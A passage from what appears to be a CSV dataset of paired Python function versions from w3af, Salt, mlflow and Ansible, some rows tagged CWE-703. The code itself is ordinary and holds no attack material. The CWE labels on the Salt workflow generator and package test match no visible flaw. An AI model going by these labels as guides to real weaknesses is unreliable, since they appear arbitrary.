        return res",,andresriancho/w3af,3ff8b128b739f519094b4be5c33b34aa33ffe4be,"def _clean_reference(self, reference):
        """"""
        This method is VERY dependent on the are_variants method from
        core.data.request.variant_identification , make sure to remember that
        when changing stuff here or there.

        What this method does is to ""normalize"" any input reference string so
        that they can be compared very simply using string match.

        """"""
        res = reference.get_domain_path() + reference.get_file_name()

        if reference.has_query_string():

            res += '?'
            qs = reference.querystring.copy()

            for key in qs:
                value_list = qs[key]
                for i, value in enumerate(value_list):
                    if value.isdigit():
                        qs[key][i] = 'number'
                    else:
                        qs[key][i] = 'string'

            res += str(qs)

        return res"
,UNKNOWN,UNKNOWN,tools/precommit/workflows.py,1,"def generate_workflows(ctx: Context):
    """"""
    Generate GitHub Actions Workflows
    """"""
    workflows = {
        ""CI"": {
            ""template"": ""ci.yml"",
        },
        ""Nightly"": {
            ""template"": ""nightly.yml"",
        },
        ""Stage Release"": {
            ""slug"": ""staging"",
            ""template"": ""staging.yml"",
            ""includes"": {
                ""test-pkg-downloads"": True,
            },
        },
        ""Scheduled"": {
            ""template"": ""scheduled.yml"",
        },
        ""Release"": {
            ""template"": ""release.yml"",
            ""includes"": {
                ""pre-commit"": False,
                ""lint"": False,
                ""pkg-tests"": False,
                ""salt-tests"": False,
                ""test-pkg-downloads"": True,
            },
        },
        ""Test Package Downloads"": {
            ""template"": ""test-package-downloads-action.yml"",
        },
        ""Build CI Deps"": {
            ""template"": ""build-deps-ci-action.yml"",
        },
    }
    test_salt_listing: dict[str, list[tuple[str, ...]]] = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64"", ""no-fips""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""arm64"", ""no-fips""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""arm64"", ""no-fips""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64"", ""no-fips""),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""no-fips""),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""arm64"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""arm64"", ""no-fips""),
            (""fedora-37"", ""Fedora 37"", ""x86_64"", ""no-fips""),
            (""fedora-38"", ""Fedora 38"", ""x86_64"", ""no-fips""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""arm64"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""arm64"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""arm64"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""arm64"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""arm64"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""arm64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    test_salt_pkg_listing = {
        ""linux"": [
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2-arm64"",
                ""Amazon Linux 2 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2023-arm64"",
                ""Amazon Linux 2023 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""centosstream-9-arm64"",
                ""CentOS Stream 9 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""rpm"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""arm64"", ""rpm"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""arm64"", ""rpm"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""arm64"", ""rpm"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""arm64"", ""deb"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""arm64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    build_ci_deps_listing = {
        ""linux"": [
            (""x86_64"", ""centos-7""),
            (""arm64"", ""centos-7-arm64""),
        ],
        ""macos"": [
            (""x86_64"", ""macos-12""),
            (""arm64"", ""macos-13-xlarge""),
        ],
        ""windows"": [
            (""amd64"", ""windows-2022""),
        ],
    }
    test_salt_pkg_downloads_listing: dict[str, list[tuple[str, str, str]]] = {
        ""linux"": [],
        ""macos"": [],
        ""windows"": [],
    }
    rpm_slugs = (
        ""almalinux"",
        ""amazonlinux"",
        ""centos"",
        ""centosstream"",
        ""fedora"",
        ""photon"",
    )
    linux_skip_pkg_download_tests = (
        ""archlinux-lts"",
        ""opensuse-15"",
        ""windows"",
    )
    for slug in sorted(AMIS):
        if slug.startswith(linux_skip_pkg_download_tests):
            continue
        if ""arm64"" in slug:
            arch = ""arm64""
        else:
            arch = ""x86_64""
        if slug.startswith(rpm_slugs) and arch == ""arm64"":
            # While we maintain backwards compatible urls
            test_salt_pkg_downloads_listing[""linux""].append(
                (slug, ""aarch64"", ""package"")
            )
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""package""))
        if slug.startswith(""ubuntu-22""):
            test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in test_salt_listing[""macos""]:
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""package""))
    for slug, display_name, arch in test_salt_listing[""macos""][-1:]:
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in test_salt_listing[""windows""][-1:]:
        for pkg_type in (""nsis"", ""msi"", ""onedir""):
            test_salt_pkg_downloads_listing[""windows""].append((slug, arch, pkg_type))

    test_salt_pkg_downloads_needs_slugs = set()
    for platform in test_salt_pkg_downloads_listing:
        for _, arch, _ in test_salt_pkg_downloads_listing[platform]:
            test_salt_pkg_downloads_needs_slugs.add(""build-ci-deps"")

    build_rpms_listing = []
    for distro, releases in (
        (""amazon"", (""2"", ""2023"")),
        (""redhat"", (""7"", ""8"", ""9"")),
        (""fedora"", (""36"", ""37"", ""38"")),
        (""photon"", (""3"", ""4"", ""5"")),
    ):
        for release in releases:
            for arch in (""x86_64"", ""arm64"", ""aarch64""):
                build_rpms_listing.append((distro, release, arch))

    env = Environment(
        block_start_string=""<%"",
        block_end_string=""%>"",
        variable_start_string=""<{"",
        variable_end_string=""}>"",
        extensions=[
            ""jinja2.ext.do"",
        ],
        loader=FileSystemLoader(str(TEMPLATES)),
    )
    for workflow_name, details in workflows.items():
        if TYPE_CHECKING:
            assert isinstance(details, dict)
        template: str = cast(str, details[""template""])
        includes: dict[str, bool] = cast(dict, details.get(""includes"") or {})
        workflow_path = WORKFLOWS / template
        template_path = TEMPLATES / f""{template}.jinja""
        ctx.info(
            f""Generating '{workflow_path.relative_to(tools.utils.REPO_ROOT)}' from ""
            f""template '{template_path.relative_to(tools.utils.REPO_ROOT)}' ...""
        )
        context = {
            ""template"": template_path.relative_to(tools.utils.REPO_ROOT),
            ""workflow_name"": workflow_name,
            ""workflow_slug"": (
                details.get(""slug"") or workflow_name.lower().replace("" "", ""-"")
            ),
            ""includes"": includes,
            ""conclusion_needs"": NeedsTracker(),
            ""test_salt_needs"": NeedsTracker(),
            ""test_salt_pkg_needs"": NeedsTracker(),
            ""test_repo_needs"": NeedsTracker(),
            ""prepare_workflow_needs"": NeedsTracker(),
            ""build_repo_needs"": NeedsTracker(),
            ""test_salt_listing"": test_salt_listing,
            ""test_salt_pkg_listing"": test_salt_pkg_listing,
            ""build_ci_deps_listing"": build_ci_deps_listing,
            ""test_salt_pkg_downloads_listing"": test_salt_pkg_downloads_listing,
            ""test_salt_pkg_downloads_needs_slugs"": sorted(
                test_salt_pkg_downloads_needs_slugs
            ),
            ""build_rpms_listing"": build_rpms_listing,
        }
        shared_context_file = (
            tools.utils.REPO_ROOT / ""cicd"" / ""shared-gh-workflows-context.yml""
        )
        shared_context = yaml.safe_load(shared_context_file.read_text())
        for key, value in shared_context.items():
            context[key] = value
        loaded_template = env.get_template(template_path.name)
        rendered_template = loaded_template.render(**context)
        workflow_path.write_text(rendered_template.rstrip() + ""\n"")",CWE-703,saltstack/salt,30941aeadc07c90dd97b33a9908b152f912c8c43,"def generate_workflows(ctx: Context):
    """"""
    Generate GitHub Actions Workflows
    """"""
    workflows = {
        ""CI"": {
            ""template"": ""ci.yml"",
        },
        ""Nightly"": {
            ""template"": ""nightly.yml"",
        },
        ""Stage Release"": {
            ""slug"": ""staging"",
            ""template"": ""staging.yml"",
            ""includes"": {
                ""test-pkg-downloads"": True,
            },
        },
        ""Scheduled"": {
            ""template"": ""scheduled.yml"",
        },
        ""Release"": {
            ""template"": ""release.yml"",
            ""includes"": {
                ""pre-commit"": False,
                ""lint"": False,
                ""pkg-tests"": False,
                ""salt-tests"": False,
                ""test-pkg-downloads"": True,
            },
        },
        ""Test Package Downloads"": {
            ""template"": ""test-package-downloads-action.yml"",
        },
        ""Build CI Deps"": {
            ""template"": ""build-deps-ci-action.yml"",
        },
    }
    test_salt_listing: dict[str, list[tuple[str, ...]]] = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64"", ""no-fips""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""arm64"", ""no-fips""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""arm64"", ""no-fips""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64"", ""no-fips""),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""no-fips""),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""arm64"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""arm64"", ""no-fips""),
            (""fedora-37"", ""Fedora 37"", ""x86_64"", ""no-fips""),
            (""fedora-38"", ""Fedora 38"", ""x86_64"", ""no-fips""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""arm64"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""arm64"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""arm64"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""arm64"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""arm64"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""arm64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    test_salt_pkg_listing = {
        ""linux"": [
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2-arm64"",
                ""Amazon Linux 2 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2023-arm64"",
                ""Amazon Linux 2023 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""centosstream-9-arm64"",
                ""CentOS Stream 9 Arm64"",
                ""arm64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""rpm"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""arm64"", ""rpm"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""arm64"", ""rpm"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""arm64"", ""rpm"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""arm64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""arm64"", ""deb"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""arm64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    build_ci_deps_listing = {
        ""linux"": [
            (""x86_64"", ""centos-7""),
            (""arm64"", ""centos-7-arm64""),
        ],
        ""macos"": [
            (""x86_64"", ""macos-12""),
            (""arm64"", ""macos-13-xlarge""),
        ],
        ""windows"": [
            (""amd64"", ""windows-2022""),
        ],
    }
    test_salt_pkg_downloads_listing: dict[str, list[tuple[str, str, str]]] = {
        ""linux"": [],
        ""macos"": [],
        ""windows"": [],
    }
    rpm_slugs = (
        ""almalinux"",
        ""amazonlinux"",
        ""centos"",
        ""centosstream"",
        ""fedora"",
        ""photon"",
    )
    linux_skip_pkg_download_tests = (
        ""archlinux-lts"",
        ""opensuse-15"",
        ""windows"",
    )
    for slug in sorted(AMIS):
        if slug.startswith(linux_skip_pkg_download_tests):
            continue
        if ""arm64"" in slug:
            arch = ""arm64""
        else:
            arch = ""x86_64""
        if slug.startswith(rpm_slugs) and arch == ""arm64"":
            # While we maintain backwards compatible urls
            test_salt_pkg_downloads_listing[""linux""].append(
                (slug, ""aarch64"", ""package"")
            )
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""package""))
        if slug.startswith(""ubuntu-22""):
            test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in test_salt_listing[""macos""]:
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""package""))
    for slug, display_name, arch in test_salt_listing[""macos""][-1:]:
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in test_salt_listing[""windows""][-1:]:
        for pkg_type in (""nsis"", ""msi"", ""onedir""):
            test_salt_pkg_downloads_listing[""windows""].append((slug, arch, pkg_type))

    test_salt_pkg_downloads_needs_slugs = set()
    for platform in test_salt_pkg_downloads_listing:
        for _, arch, _ in test_salt_pkg_downloads_listing[platform]:
            test_salt_pkg_downloads_needs_slugs.add(""build-ci-deps"")

    env = Environment(
        block_start_string=""<%"",
        block_end_string=""%>"",
        variable_start_string=""<{"",
        variable_end_string=""}>"",
        extensions=[
            ""jinja2.ext.do"",
        ],
        loader=FileSystemLoader(str(TEMPLATES)),
    )
    for workflow_name, details in workflows.items():
        if TYPE_CHECKING:
            assert isinstance(details, dict)
        template: str = cast(str, details[""template""])
        includes: dict[str, bool] = cast(dict, details.get(""includes"") or {})
        workflow_path = WORKFLOWS / template
        template_path = TEMPLATES / f""{template}.jinja""
        ctx.info(
            f""Generating '{workflow_path.relative_to(tools.utils.REPO_ROOT)}' from ""
            f""template '{template_path.relative_to(tools.utils.REPO_ROOT)}' ...""
        )
        context = {
            ""template"": template_path.relative_to(tools.utils.REPO_ROOT),
            ""workflow_name"": workflow_name,
            ""workflow_slug"": (
                details.get(""slug"") or workflow_name.lower().replace("" "", ""-"")
            ),
            ""includes"": includes,
            ""conclusion_needs"": NeedsTracker(),
            ""test_salt_needs"": NeedsTracker(),
            ""test_salt_pkg_needs"": NeedsTracker(),
            ""test_repo_needs"": NeedsTracker(),
            ""prepare_workflow_needs"": NeedsTracker(),
            ""build_repo_needs"": NeedsTracker(),
            ""test_salt_listing"": test_salt_listing,
            ""test_salt_pkg_listing"": test_salt_pkg_listing,
            ""build_ci_deps_listing"": build_ci_deps_listing,
            ""test_salt_pkg_downloads_listing"": test_salt_pkg_downloads_listing,
            ""test_salt_pkg_downloads_needs_slugs"": sorted(
                test_salt_pkg_downloads_needs_slugs
            ),
        }
        shared_context_file = (
            tools.utils.REPO_ROOT / ""cicd"" / ""shared-gh-workflows-context.yml""
        )
        shared_context = yaml.safe_load(shared_context_file.read_text())
        for key, value in shared_context.items():
            context[key] = value
        loaded_template = env.get_template(template_path.name)
        rendered_template = loaded_template.render(**context)
        workflow_path.write_text(rendered_template.rstrip() + ""\n"")"
,UNKNOWN,UNKNOWN,tests/integration/states/test_pkg.py,1,"def test_pkg_cap_006_uptodate(self, grains=None):
        '''
        This is a destructive test as it installs and then removes a package
        '''
        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        os_family = grains.get('os_family', '')
        pkg_cap_targets = _PKG_CAP_TARGETS.get(os_family, [])
        if not len(pkg_cap_targets) > 0:
            self.skipTest('Capability not provided')

        target, realpkg = pkg_cap_targets[0]
        version = self.run_function('pkg.version', [target])
        realver = self.run_function('pkg.version', [realpkg])

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to not be installed before we run the states below
        self.assertFalse(version)
        self.assertFalse(realver)

        try:
            ret = self.run_state('pkg.installed', name=target,
                                 refresh=False, resolve_capabilities=True)
            self.assertSaltTrueReturn(ret)
            ret = self.run_state('pkg.uptodate',
                                 name='test_pkg_cap_006_uptodate',
                                 pkgs=[target],
                                 refresh=False,
                                 resolve_capabilities=True)
            self.assertSaltTrueReturn(ret)
            self.assertInSaltComment(""System is already up-to-date"", ret)
        finally:
            ret = self.run_state('pkg.removed', name=realpkg)
            self.assertSaltTrueReturn(ret)",CWE-703,saltstack/salt,f95f0e7d2bccab83d8a3db1a9280b940db358e83,"def test_pkg_cap_006_uptodate(self, grains=None):
        '''
        This is a destructive test as it installs and then removes a package
        '''
        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        os_family = grains.get('os_family', '')
        pkg_cap_targets = _PKG_CAP_TARGETS.get(os_family, [])
        if not len(pkg_cap_targets) > 0:
            self.skipTest('Capability not provided')

        target, realpkg = pkg_cap_targets[0]
        version = self.run_function('pkg.version', [target])
        realver = self.run_function('pkg.version', [realpkg])

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to not be installed before we run the states below
        self.assertFalse(version)
        self.assertFalse(realver)

        try:
            ret = self.run_state('pkg.installed', name=target,
                                 refresh=False, resolve_capabilities=True)
            self.assertSaltTrueReturn(ret)
            ret = self.run_state('pkg.uptodate',
                                 name='test_pkg_cap_006_uptodate',
                                 pkgs=[target],
                                 refresh=False,
                                 resolve_capabilities=True)
            self.assertSaltTrueReturn(ret)
            self.assertInSaltComment(""System is already up-to-date"", ret)
        finally:
            ret = self.run_state('pkg.removed', name=realpkg)
            self.assertSaltTrueReturn(ret)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/databricks_utils.py,0,"def get_job_type():
    """"""Should only be called if is_in_databricks_job is true""""""
    try:
        return _get_command_context().jobTaskType().get()
    except Exception:
        return _get_context_tag(""jobTaskType"")",,mlflow/mlflow,1ce3b5eadf6543878a62b070fd06735d471d75d5,"def get_job_type():
    """"""Should only be called if is_in_databricks_job is true""""""
    try:
        return _get_command_context().jobTaskType().get()
    except Exception:
        return _get_context_tag(""jobTaskType"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/loader.py,0,"def _find_fq_plugin(self, fq_name, extension, plugin_load_context):
        """"""Search builtin paths to find a plugin. No external paths are searched,
        meaning plugins inside roles inside collections will be ignored.
        """"""

        plugin_load_context.resolved = False

        plugin_type = AnsibleCollectionRef.legacy_plugin_dir_to_plugin_type(self.subdir)

        acr = AnsibleCollectionRef.from_fqcr(fq_name, plugin_type)

        # check collection metadata to see if any special handling is required for this plugin
        routing_metadata = self._query_collection_routing_meta(acr, plugin_type, extension=extension)

        # TODO: factor this into a wrapper method
        if routing_metadata:
            deprecation = routing_metadata.get('deprecation', None)

            # this will no-op if there's no deprecation metadata for this plugin
            plugin_load_context.record_deprecation(fq_name, deprecation, acr.collection)

            tombstone = routing_metadata.get('tombstone', None)

            # FIXME: clean up text gen
            if tombstone:
                removal_date = tombstone.get('removal_date')
                removal_version = tombstone.get('removal_version')
                warning_text = tombstone.get('warning_text') or ''
                warning_text = '{0} has been removed.{1}{2}'.format(fq_name, ' ' if warning_text else '', warning_text)
                removed_msg = display.get_deprecation_message(msg=warning_text, version=removal_version,
                                                              date=removal_date, removed=True,
                                                              collection_name=acr.collection)
                plugin_load_context.removal_date = removal_date
                plugin_load_context.removal_version = removal_version
                plugin_load_context.resolved = True
                plugin_load_context.exit_reason = removed_msg
                raise AnsiblePluginRemovedError(removed_msg, plugin_load_context=plugin_load_context)

            redirect = routing_metadata.get('redirect', None)

            if redirect:
                # FIXME: remove once this is covered in debug or whatever
                display.vv(""redirecting (type: {0}) {1} to {2}"".format(plugin_type, fq_name, redirect))
                # The name doing the redirection is added at the beginning of _resolve_plugin_step,
                # but if the unqualified name is used in conjunction with the collections keyword, only
                # the unqualified name is in the redirect list.
                if fq_name not in plugin_load_context.redirect_list:
                    plugin_load_context.redirect_list.append(fq_name)
                return plugin_load_context.redirect(redirect)
                # TODO: non-FQCN case, do we support `.` prefix for current collection, assume it with no dots, require it for subdirs in current, or ?

        n_resource = to_native(acr.resource, errors='strict')
        # we want this before the extension is added
        full_name = '{0}.{1}'.format(acr.n_python_package_name, n_resource)

        if extension:
            n_resource += extension

        pkg = sys.modules.get(acr.n_python_package_name)
        if not pkg:
            # FIXME: there must be cheaper/safer way to do this
            try:
                pkg = import_module(acr.n_python_package_name)
            except ImportError:
                return plugin_load_context.nope('Python package {0} not found'.format(acr.n_python_package_name))

        pkg_path = os.path.dirname(pkg.__file__)

        n_resource_path = os.path.join(pkg_path, n_resource)

        # FIXME: and is file or file link or ...
        if os.path.exists(n_resource_path):
            return plugin_load_context.resolve(
                full_name, to_text(n_resource_path), acr.collection, 'found exact match for {0} in {1}'.format(full_name, acr.collection))

        if extension:
            # the request was extension-specific, don't try for an extensionless match
            return plugin_load_context.nope('no match for {0} in {1}'.format(to_text(n_resource), acr.collection))

        # look for any matching extension in the package location (sans filter)
        found_files = [f
                       for f in glob.iglob(os.path.join(pkg_path, n_resource) + '.*')
                       if os.path.isfile(f) and not f.endswith(C.MODULE_IGNORE_EXTS)]

        if not found_files:
            return plugin_load_context.nope('failed fuzzy extension match for {0} in {1}'.format(full_name, acr.collection))

        if len(found_files) > 1:
            # TODO: warn?
            pass

        return plugin_load_context.resolve(
            full_name, to_text(found_files[0]), acr.collection, 'found fuzzy extension match for {0} in {1}'.format(full_name, acr.collection))",,ansible/ansible,7ce0b390b27db007efb3c8417b4bd338a3a989fc,"def _find_fq_plugin(self, fq_name, extension, plugin_load_context):
        """"""Search builtin paths to find a plugin. No external paths are searched,
        meaning plugins inside roles inside collections will be ignored.
        """"""

        plugin_load_context.resolved = False

        plugin_type = AnsibleCollectionRef.legacy_plugin_dir_to_plugin_type(self.subdir)

        acr = AnsibleCollectionRef.from_fqcr(fq_name, plugin_type)

        # check collection metadata to see if any special handling is required for this plugin
        routing_metadata = self._query_collection_routing_meta(acr, plugin_type, extension=extension)

        # TODO: factor this into a wrapper method
        if routing_metadata:
            deprecation = routing_metadata.get('deprecation', None)

            # this will no-op if there's no deprecation metadata for this plugin
            plugin_load_context.record_deprecation(fq_name, deprecation, acr.collection)

            tombstone = routing_metadata.get('tombstone', None)

            # FIXME: clean up text gen
            if tombstone:
                removal_date = tombstone.get('removal_date')
                removal_version = tombstone.get('removal_version')
                warning_text = tombstone.get('warning_text') or ''
                warning_text = '{0} has been removed.{1}{2}'.format(fq_name, ' ' if warning_text else '', warning_text)
                removed_msg = display.get_deprecation_message(msg=warning_text, version=removal_version,
                                                              date=removal_date, removed=True,
                                                              collection_name=acr.collection)
                plugin_load_context.removal_date = removal_date
                plugin_load_context.removal_version = removal_version
                plugin_load_context.resolved = True
                plugin_load_context.exit_reason = removed_msg
                raise AnsiblePluginRemovedError(removed_msg, plugin_load_context=plugin_load_context)

            redirect = routing_metadata.get('redirect', None)

            if redirect:
                # FIXME: remove once this is covered in debug or whatever
                display.vv(""redirecting (type: {0}) {1} to {2}"".format(plugin_type, fq_name, redirect))
                return plugin_load_context.redirect(redirect)
                # TODO: non-FQCN case, do we support `.` prefix for current collection, assume it with no dots, require it for subdirs in current, or ?

        n_resource = to_native(acr.resource, errors='strict')
